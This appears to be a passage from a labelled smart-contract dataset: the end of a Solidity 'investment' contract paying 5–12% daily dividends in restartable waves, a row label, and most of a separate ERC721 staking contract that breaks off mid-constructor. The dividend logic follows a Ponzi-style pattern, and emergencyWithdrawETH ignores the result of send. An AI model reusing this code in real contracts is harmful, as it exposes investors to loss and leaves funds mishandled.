function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(investment, paymentTime);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
return 0;
}
Percent.percent memory p = dailyPercent();
dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
}
function dailyPercent() internal view returns(Percent.percent memory p) {
uint balance = address(this).balance;
if (balance < 500 ether) {
p = m_5_percent.toMemory();
} else if ( 500 ether <= balance && balance <= 1500 ether) {
p = m_6_percent.toMemory();
} else if ( 1500 ether <= balance && balance <= 5000 ether) {
p = m_7_percent.toMemory();
} else if ( 5000 ether <= balance && balance <= 10000 ether) {
p = m_8_percent.toMemory();
} else if ( 10000 ether <= balance && balance <= 20000 ether) {
p = m_9_percent.toMemory();
} else if ( 20000 ether <= balance && balance <= 30000 ether) {
p = m_10_percent.toMemory();
} else if ( 30000 ether <= balance && balance <= 50000 ether) {
p = m_11_percent.toMemory();
} else {
p = m_12_percent.toMemory();
}
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
m_rgp.startAt(now);
emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
emit LogNextWave(now);
}
} | 0 | 778 |
pragma solidity >=0.6.2 <0.8.0;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.4.24 <0.8.0;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMathUpgradeable {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity 0.6.12;
interface IMintableCollection is IERC721 {
function burn(uint256 tokenId) external;
function mint(address to, uint256 tokenId) external;
}
pragma solidity 0.6.12;
interface IRewardable {
function addRewards(address rewardToken, uint256 amount) external;
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity 0.6.12;
abstract contract EmergencyWithdrawable is OwnableUpgradeable {
function emergencyWithdrawETH() external payable onlyOwner {
msg.sender.send(address(this).balance);
}
function emergencyWithdrawTokens(IERC20Upgradeable token) external onlyOwner {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity >=0.6.2 <0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity 0.6.12;
contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(
string memory name,
string memory symbol,
string memory baseURI
) public ERC721(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
